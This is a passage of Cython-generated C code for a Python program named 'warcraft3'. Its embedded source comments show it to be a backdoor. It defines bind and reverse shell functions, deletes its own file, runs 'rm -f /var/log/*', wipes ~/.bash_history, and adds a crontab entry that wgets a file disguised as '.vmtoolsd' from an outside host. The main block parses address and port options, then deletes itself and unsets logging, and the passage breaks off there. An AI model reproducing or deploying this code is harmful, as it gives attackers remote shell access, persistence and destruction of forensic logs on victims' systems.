  3871. if (unlikely(PyDict_SetItemString(modules, "warcraft3", __pyx_m) < 0)) __PYX_ERR(0, 1, __pyx_L1_error)
  3872. }
  3873. }
  3874. #endif
  3875. /*--- Builtin init code ---*/
  3876. if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error)
  3877. /*--- Constants init code ---*/
  3878. if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error)
  3879. /*--- Global init code ---*/
  3880. /*--- Variable export code ---*/
  3881. /*--- Function export code ---*/
  3882. /*--- Type init code ---*/
  3883. /*--- Type import code ---*/
  3884. /*--- Variable import code ---*/
  3885. /*--- Function import code ---*/
  3886. /*--- Execution code ---*/
  3887. #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED)
  3888. if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error)
  3889. #endif
  3890. /* "warcraft3.py":5
  3891. *
  3892. * #
  3893. * import os # <<<<<<<<<<<<<<
  3894. * import fcntl
  3895. * import socket
  3896. */
  3897. __pyx_t_1 = __Pyx_Import(__pyx_n_s_os, 0, -1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 5, __pyx_L1_error)
  3898. __Pyx_GOTREF(__pyx_t_1);
  3899. if (PyDict_SetItem(__pyx_d, __pyx_n_s_os, __pyx_t_1) < 0) __PYX_ERR(0, 5, __pyx_L1_error)
  3900. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3901. /* "warcraft3.py":6
  3902. * #
  3903. * import os
  3904. * import fcntl # <<<<<<<<<<<<<<
  3905. * import socket
  3906. * import subprocess
  3907. */
  3908. __pyx_t_1 = __Pyx_Import(__pyx_n_s_fcntl, 0, -1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 6, __pyx_L1_error)
  3909. __Pyx_GOTREF(__pyx_t_1);
  3910. if (PyDict_SetItem(__pyx_d, __pyx_n_s_fcntl, __pyx_t_1) < 0) __PYX_ERR(0, 6, __pyx_L1_error)
  3911. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3912. /* "warcraft3.py":7
  3913. * import os
  3914. * import fcntl
  3915. * import socket # <<<<<<<<<<<<<<
  3916. * import subprocess
  3917. * from optparse import OptionParser
  3918. */
  3919. __pyx_t_1 = __Pyx_Import(__pyx_n_s_socket, 0, -1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 7, __pyx_L1_error)
  3920. __Pyx_GOTREF(__pyx_t_1);
  3921. if (PyDict_SetItem(__pyx_d, __pyx_n_s_socket, __pyx_t_1) < 0) __PYX_ERR(0, 7, __pyx_L1_error)
  3922. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3923. /* "warcraft3.py":8
  3924. * import fcntl
  3925. * import socket
  3926. * import subprocess # <<<<<<<<<<<<<<
  3927. * from optparse import OptionParser
  3928. *
  3929. */
  3930. __pyx_t_1 = __Pyx_Import(__pyx_n_s_subprocess, 0, -1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 8, __pyx_L1_error)
  3931. __Pyx_GOTREF(__pyx_t_1);
  3932. if (PyDict_SetItem(__pyx_d, __pyx_n_s_subprocess, __pyx_t_1) < 0) __PYX_ERR(0, 8, __pyx_L1_error)
  3933. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3934. /* "warcraft3.py":9
  3935. * import socket
  3936. * import subprocess
  3937. * from optparse import OptionParser # <<<<<<<<<<<<<<
  3938. *
  3939. *
  3940. */
  3941. __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error)
  3942. __Pyx_GOTREF(__pyx_t_1);
  3943. __Pyx_INCREF(__pyx_n_s_OptionParser);
  3944. __Pyx_GIVEREF(__pyx_n_s_OptionParser);
  3945. PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_OptionParser);
  3946. __pyx_t_2 = __Pyx_Import(__pyx_n_s_optparse, __pyx_t_1, -1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error)
  3947. __Pyx_GOTREF(__pyx_t_2);
  3948. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3949. __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_OptionParser); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error)
  3950. __Pyx_GOTREF(__pyx_t_1);
  3951. if (PyDict_SetItem(__pyx_d, __pyx_n_s_OptionParser, __pyx_t_1) < 0) __PYX_ERR(0, 9, __pyx_L1_error)
  3952. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  3953. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  3954. /* "warcraft3.py":13
  3955. *
  3956. * # shell
  3957. * def BindConnect(addr, port): # <<<<<<<<<<<<<<
  3958. * '''shell'''
  3959. * try:
  3960. */
  3961. __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_9warcraft3_1BindConnect, 0, __pyx_n_s_BindConnect, NULL, __pyx_n_s_warcraft3, __pyx_d, ((PyObject *)__pyx_codeobj__16)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error)
  3962. __Pyx_GOTREF(__pyx_t_2);
  3963. if (PyDict_SetItem(__pyx_d, __pyx_n_s_BindConnect, __pyx_t_2) < 0) __PYX_ERR(0, 13, __pyx_L1_error)
  3964. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  3965. /* "warcraft3.py":33
  3966. * exit(0)
  3967. *
  3968. * def ReserveConnect(addr, port): # <<<<<<<<<<<<<<
  3969. * '''shell'''
  3970. * try:
  3971. */
  3972. __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_9warcraft3_3ReserveConnect, 0, __pyx_n_s_ReserveConnect, NULL, __pyx_n_s_warcraft3, __pyx_d, ((PyObject *)__pyx_codeobj__18)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error)
  3973. __Pyx_GOTREF(__pyx_t_2);
  3974. if (PyDict_SetItem(__pyx_d, __pyx_n_s_ReserveConnect, __pyx_t_2) < 0) __PYX_ERR(0, 33, __pyx_L1_error)
  3975. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  3976. /* "warcraft3.py":51
  3977. *
  3978. * #
  3979. * def SingletonRunning(): # <<<<<<<<<<<<<<
  3980. * ''''''
  3981. * pidfile = open(os.path.realpath("warcraft3"), 'r')
  3982. */
  3983. __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_9warcraft3_5SingletonRunning, 0, __pyx_n_s_SingletonRunning, NULL, __pyx_n_s_warcraft3, __pyx_d, ((PyObject *)__pyx_codeobj__20)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 51, __pyx_L1_error)
  3984. __Pyx_GOTREF(__pyx_t_2);
  3985. if (PyDict_SetItem(__pyx_d, __pyx_n_s_SingletonRunning, __pyx_t_2) < 0) __PYX_ERR(0, 51, __pyx_L1_error)
  3986. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  3987. /* "warcraft3.py":60
  3988. * exit(0)
  3989. *
  3990. * def deleteSelf(): # <<<<<<<<<<<<<<
  3991. * ''''''
  3992. * filename = os.getcwd()+"/warcraft3"
  3993. */
  3994. __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_9warcraft3_7deleteSelf, 0, __pyx_n_s_deleteSelf, NULL, __pyx_n_s_warcraft3, __pyx_d, ((PyObject *)__pyx_codeobj__22)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 60, __pyx_L1_error)
  3995. __Pyx_GOTREF(__pyx_t_2);
  3996. if (PyDict_SetItem(__pyx_d, __pyx_n_s_deleteSelf, __pyx_t_2) < 0) __PYX_ERR(0, 60, __pyx_L1_error)
  3997. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  3998. /* "warcraft3.py":65
  3999. * os.remove(filename)
  4000. *
  4001. * def unsetLog(): # <<<<<<<<<<<<<<
  4002. * ''''''
  4003. * os.popen("unset history")
  4004. */
  4005. __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_9warcraft3_9unsetLog, 0, __pyx_n_s_unsetLog, NULL, __pyx_n_s_warcraft3, __pyx_d, ((PyObject *)__pyx_codeobj__23)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 65, __pyx_L1_error)
  4006. __Pyx_GOTREF(__pyx_t_2);
  4007. if (PyDict_SetItem(__pyx_d, __pyx_n_s_unsetLog, __pyx_t_2) < 0) __PYX_ERR(0, 65, __pyx_L1_error)
  4008. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4009. /* "warcraft3.py":69
  4010. * os.popen("unset history")
  4011. *
  4012. * def clearLog(): # <<<<<<<<<<<<<<
  4013. * ''''''
  4014. * os.popen("rm -f /var/log/[inserted by cython to avoid comment start]*")
  4015. */
  4016. __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_9warcraft3_11clearLog, 0, __pyx_n_s_clearLog, NULL, __pyx_n_s_warcraft3, __pyx_d, ((PyObject *)__pyx_codeobj__24)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 69, __pyx_L1_error)
  4017. __Pyx_GOTREF(__pyx_t_2);
  4018. if (PyDict_SetItem(__pyx_d, __pyx_n_s_clearLog, __pyx_t_2) < 0) __PYX_ERR(0, 69, __pyx_L1_error)
  4019. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4020. /* "warcraft3.py":74
  4021. * os.popen("echo '' > ~/.bash_history")
  4022. *
  4023. * def appendCrontab(): # <<<<<<<<<<<<<<
  4024. * ''''''
  4025. * os.popen("echo '0 0 * * * wget https://github.org/cisp/.vmtoolsd ~/' >> /var/spool/cron/crontab")
  4026. */
  4027. __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_9warcraft3_13appendCrontab, 0, __pyx_n_s_appendCrontab, NULL, __pyx_n_s_warcraft3, __pyx_d, ((PyObject *)__pyx_codeobj__25)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 74, __pyx_L1_error)
  4028. __Pyx_GOTREF(__pyx_t_2);
  4029. if (PyDict_SetItem(__pyx_d, __pyx_n_s_appendCrontab, __pyx_t_2) < 0) __PYX_ERR(0, 74, __pyx_L1_error)
  4030. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4031. /* "warcraft3.py":82
  4032. *
  4033. * #
  4034. * if __name__ == "__main__": # <<<<<<<<<<<<<<
  4035. * SingletonRunning()
  4036. * optParser = OptionParser()
  4037. */
  4038. __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_name); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 82, __pyx_L1_error)
  4039. __Pyx_GOTREF(__pyx_t_2);
  4040. __pyx_t_3 = (__Pyx_PyString_Equals(__pyx_t_2, __pyx_n_s_main, Py_EQ)); if (unlikely(__pyx_t_3 < 0)) __PYX_ERR(0, 82, __pyx_L1_error)
  4041. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4042. if (__pyx_t_3) {
  4043. /* "warcraft3.py":83
  4044. * #
  4045. * if __name__ == "__main__":
  4046. * SingletonRunning() # <<<<<<<<<<<<<<
  4047. * optParser = OptionParser()
  4048. * optParser.add_option('-r','--reverse', action='store_true', dest='reverse')
  4049. */
  4050. __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_SingletonRunning); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 83, __pyx_L1_error)
  4051. __Pyx_GOTREF(__pyx_t_1);
  4052. __pyx_t_4 = NULL;
  4053. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) {
  4054. __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1);
  4055. if (likely(__pyx_t_4)) {
  4056. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1);
  4057. __Pyx_INCREF(__pyx_t_4);
  4058. __Pyx_INCREF(function);
  4059. __Pyx_DECREF_SET(__pyx_t_1, function);
  4060. }
  4061. }
  4062. if (__pyx_t_4) {
  4063. __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 83, __pyx_L1_error)
  4064. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  4065. } else {
  4066. __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 83, __pyx_L1_error)
  4067. }
  4068. __Pyx_GOTREF(__pyx_t_2);
  4069. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  4070. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4071. /* "warcraft3.py":84
  4072. * if __name__ == "__main__":
  4073. * SingletonRunning()
  4074. * optParser = OptionParser() # <<<<<<<<<<<<<<
  4075. * optParser.add_option('-r','--reverse', action='store_true', dest='reverse')
  4076. * optParser.add_option('-b','--bind', action='store_true', dest='bind')
  4077. */
  4078. __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_OptionParser); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error)
  4079. __Pyx_GOTREF(__pyx_t_1);
  4080. __pyx_t_4 = NULL;
  4081. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) {
  4082. __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1);
  4083. if (likely(__pyx_t_4)) {
  4084. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1);
  4085. __Pyx_INCREF(__pyx_t_4);
  4086. __Pyx_INCREF(function);
  4087. __Pyx_DECREF_SET(__pyx_t_1, function);
  4088. }
  4089. }
  4090. if (__pyx_t_4) {
  4091. __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 84, __pyx_L1_error)
  4092. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  4093. } else {
  4094. __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 84, __pyx_L1_error)
  4095. }
  4096. __Pyx_GOTREF(__pyx_t_2);
  4097. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  4098. if (PyDict_SetItem(__pyx_d, __pyx_n_s_optParser, __pyx_t_2) < 0) __PYX_ERR(0, 84, __pyx_L1_error)
  4099. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4100. /* "warcraft3.py":85
  4101. * SingletonRunning()
  4102. * optParser = OptionParser()
  4103. * optParser.add_option('-r','--reverse', action='store_true', dest='reverse') # <<<<<<<<<<<<<<
  4104. * optParser.add_option('-b','--bind', action='store_true', dest='bind')
  4105. * optParser.add_option("-a","--addr", dest="addr")
  4106. */
  4107. __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_optParser); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 85, __pyx_L1_error)
  4108. __Pyx_GOTREF(__pyx_t_2);
  4109. __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_add_option); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error)
  4110. __Pyx_GOTREF(__pyx_t_1);
  4111. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4112. __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 85, __pyx_L1_error)
  4113. __Pyx_GOTREF(__pyx_t_2);
  4114. if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_action, __pyx_n_s_store_true) < 0) __PYX_ERR(0, 85, __pyx_L1_error)
  4115. if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_dest, __pyx_n_s_reverse_2) < 0) __PYX_ERR(0, 85, __pyx_L1_error)
  4116. __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__26, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 85, __pyx_L1_error)
  4117. __Pyx_GOTREF(__pyx_t_4);
  4118. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  4119. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4120. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  4121. /* "warcraft3.py":86
  4122. * optParser = OptionParser()
  4123. * optParser.add_option('-r','--reverse', action='store_true', dest='reverse')
  4124. * optParser.add_option('-b','--bind', action='store_true', dest='bind') # <<<<<<<<<<<<<<
  4125. * optParser.add_option("-a","--addr", dest="addr")
  4126. * optParser.add_option("-p","--port", dest="port")
  4127. */
  4128. __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_optParser); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 86, __pyx_L1_error)
  4129. __Pyx_GOTREF(__pyx_t_4);
  4130. __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_add_option); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 86, __pyx_L1_error)
  4131. __Pyx_GOTREF(__pyx_t_2);
  4132. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  4133. __pyx_t_4 = PyDict_New(); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 86, __pyx_L1_error)
  4134. __Pyx_GOTREF(__pyx_t_4);
  4135. if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_action, __pyx_n_s_store_true) < 0) __PYX_ERR(0, 86, __pyx_L1_error)
  4136. if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_dest, __pyx_n_s_bind) < 0) __PYX_ERR(0, 86, __pyx_L1_error)
  4137. __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__27, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 86, __pyx_L1_error)
  4138. __Pyx_GOTREF(__pyx_t_1);
  4139. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4140. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  4141. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  4142. /* "warcraft3.py":87
  4143. * optParser.add_option('-r','--reverse', action='store_true', dest='reverse')
  4144. * optParser.add_option('-b','--bind', action='store_true', dest='bind')
  4145. * optParser.add_option("-a","--addr", dest="addr") # <<<<<<<<<<<<<<
  4146. * optParser.add_option("-p","--port", dest="port")
  4147. * options , args = optParser.parse_args()
  4148. */
  4149. __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_optParser); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error)
  4150. __Pyx_GOTREF(__pyx_t_1);
  4151. __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_add_option); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 87, __pyx_L1_error)
  4152. __Pyx_GOTREF(__pyx_t_4);
  4153. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  4154. __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error)
  4155. __Pyx_GOTREF(__pyx_t_1);
  4156. if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_dest, __pyx_n_s_addr) < 0) __PYX_ERR(0, 87, __pyx_L1_error)
  4157. __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__28, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 87, __pyx_L1_error)
  4158. __Pyx_GOTREF(__pyx_t_2);
  4159. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  4160. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  4161. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4162. /* "warcraft3.py":88
  4163. * optParser.add_option('-b','--bind', action='store_true', dest='bind')
  4164. * optParser.add_option("-a","--addr", dest="addr")
  4165. * optParser.add_option("-p","--port", dest="port") # <<<<<<<<<<<<<<
  4166. * options , args = optParser.parse_args()
  4167. * deleteSelf()
  4168. */
  4169. __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_optParser); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 88, __pyx_L1_error)
  4170. __Pyx_GOTREF(__pyx_t_2);
  4171. __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_add_option); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 88, __pyx_L1_error)
  4172. __Pyx_GOTREF(__pyx_t_1);
  4173. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4174. __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 88, __pyx_L1_error)
  4175. __Pyx_GOTREF(__pyx_t_2);
  4176. if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_dest, __pyx_n_s_port) < 0) __PYX_ERR(0, 88, __pyx_L1_error)
  4177. __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__29, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 88, __pyx_L1_error)
  4178. __Pyx_GOTREF(__pyx_t_4);
  4179. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  4180. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4181. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  4182. /* "warcraft3.py":89
  4183. * optParser.add_option("-a","--addr", dest="addr")
  4184. * optParser.add_option("-p","--port", dest="port")
  4185. * options , args = optParser.parse_args() # <<<<<<<<<<<<<<
  4186. * deleteSelf()
  4187. * unsetLog()
  4188. */
  4189. __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_optParser); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 89, __pyx_L1_error)
  4190. __Pyx_GOTREF(__pyx_t_2);
  4191. __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_parse_args); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error)
  4192. __Pyx_GOTREF(__pyx_t_1);
  4193. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4194. __pyx_t_2 = NULL;
  4195. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) {
  4196. __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1);
  4197. if (likely(__pyx_t_2)) {
  4198. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1);
  4199. __Pyx_INCREF(__pyx_t_2);
  4200. __Pyx_INCREF(function);
  4201. __Pyx_DECREF_SET(__pyx_t_1, function);
  4202. }
  4203. }
  4204. if (__pyx_t_2) {
  4205. __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 89, __pyx_L1_error)
  4206. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4207. } else {
  4208. __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 89, __pyx_L1_error)
  4209. }
  4210. __Pyx_GOTREF(__pyx_t_4);
  4211. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  4212. if ((likely(PyTuple_CheckExact(__pyx_t_4))) || (PyList_CheckExact(__pyx_t_4))) {
  4213. PyObject* sequence = __pyx_t_4;
  4214. #if !CYTHON_COMPILING_IN_PYPY
  4215. Py_ssize_t size = Py_SIZE(sequence);
  4216. #else
  4217. Py_ssize_t size = PySequence_Size(sequence);
  4218. #endif
  4219. if (unlikely(size != 2)) {
  4220. if (size > 2) __Pyx_RaiseTooManyValuesError(2);
  4221. else if (size >= 0) __Pyx_RaiseNeedMoreValuesError(size);
  4222. __PYX_ERR(0, 89, __pyx_L1_error)
  4223. }
  4224. #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS
  4225. if (likely(PyTuple_CheckExact(sequence))) {
  4226. __pyx_t_1 = PyTuple_GET_ITEM(sequence, 0);
  4227. __pyx_t_2 = PyTuple_GET_ITEM(sequence, 1);
  4228. } else {
  4229. __pyx_t_1 = PyList_GET_ITEM(sequence, 0);
  4230. __pyx_t_2 = PyList_GET_ITEM(sequence, 1);
  4231. }
  4232. __Pyx_INCREF(__pyx_t_1);
  4233. __Pyx_INCREF(__pyx_t_2);
  4234. #else
  4235. __pyx_t_1 = PySequence_ITEM(sequence, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error)
  4236. __Pyx_GOTREF(__pyx_t_1);
  4237. __pyx_t_2 = PySequence_ITEM(sequence, 1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 89, __pyx_L1_error)
  4238. __Pyx_GOTREF(__pyx_t_2);
  4239. #endif
  4240. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  4241. } else {
  4242. Py_ssize_t index = -1;
  4243. __pyx_t_5 = PyObject_GetIter(__pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 89, __pyx_L1_error)
  4244. __Pyx_GOTREF(__pyx_t_5);
  4245. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  4246. __pyx_t_6 = Py_TYPE(__pyx_t_5)->tp_iternext;
  4247. index = 0; __pyx_t_1 = __pyx_t_6(__pyx_t_5); if (unlikely(!__pyx_t_1)) goto __pyx_L3_unpacking_failed;
  4248. __Pyx_GOTREF(__pyx_t_1);
  4249. index = 1; __pyx_t_2 = __pyx_t_6(__pyx_t_5); if (unlikely(!__pyx_t_2)) goto __pyx_L3_unpacking_failed;
  4250. __Pyx_GOTREF(__pyx_t_2);
  4251. if (__Pyx_IternextUnpackEndCheck(__pyx_t_6(__pyx_t_5), 2) < 0) __PYX_ERR(0, 89, __pyx_L1_error)
  4252. __pyx_t_6 = NULL;
  4253. __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  4254. goto __pyx_L4_unpacking_done;
  4255. __pyx_L3_unpacking_failed:;
  4256. __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  4257. __pyx_t_6 = NULL;
  4258. if (__Pyx_IterFinish() == 0) __Pyx_RaiseNeedMoreValuesError(index);
  4259. __PYX_ERR(0, 89, __pyx_L1_error)
  4260. __pyx_L4_unpacking_done:;
  4261. }
  4262. if (PyDict_SetItem(__pyx_d, __pyx_n_s_options, __pyx_t_1) < 0) __PYX_ERR(0, 89, __pyx_L1_error)
  4263. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  4264. if (PyDict_SetItem(__pyx_d, __pyx_n_s_args, __pyx_t_2) < 0) __PYX_ERR(0, 89, __pyx_L1_error)
  4265. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4266. /* "warcraft3.py":90
  4267. * optParser.add_option("-p","--port", dest="port")
  4268. * options , args = optParser.parse_args()
  4269. * deleteSelf() # <<<<<<<<<<<<<<
  4270. * unsetLog()
  4271. * if options.reverse:
  4272. */
  4273. __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_deleteSelf); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 90, __pyx_L1_error)
  4274. __Pyx_GOTREF(__pyx_t_2);
  4275. __pyx_t_1 = NULL;
  4276. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) {
  4277. __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2);
  4278. if (likely(__pyx_t_1)) {
  4279. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2);
  4280. __Pyx_INCREF(__pyx_t_1);
  4281. __Pyx_INCREF(function);
  4282. __Pyx_DECREF_SET(__pyx_t_2, function);
  4283. }
  4284. }
  4285. if (__pyx_t_1) {
  4286. __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 90, __pyx_L1_error)
  4287. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  4288. } else {
  4289. __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 90, __pyx_L1_error)
  4290. }
  4291. __Pyx_GOTREF(__pyx_t_4);
  4292. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4293. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  4294. /* "warcraft3.py":91
  4295. * options , args = optParser.parse_args()
  4296. * deleteSelf()
  4297. * unsetLog() # <<<<<<<<<<<<<<
  4298. * if options.reverse:
  4299. * ReserveConnect(options.addr, int(options.port))
  4300. */
  4301. __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_unsetLog); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 91, __pyx_L1_error)
  4302. __Pyx_GOTREF(__pyx_t_2);
  4303. __pyx_t_1 = NULL;
  4304. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) {
  4305. __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2);
  4306. if (likely(__pyx_t_1)) {
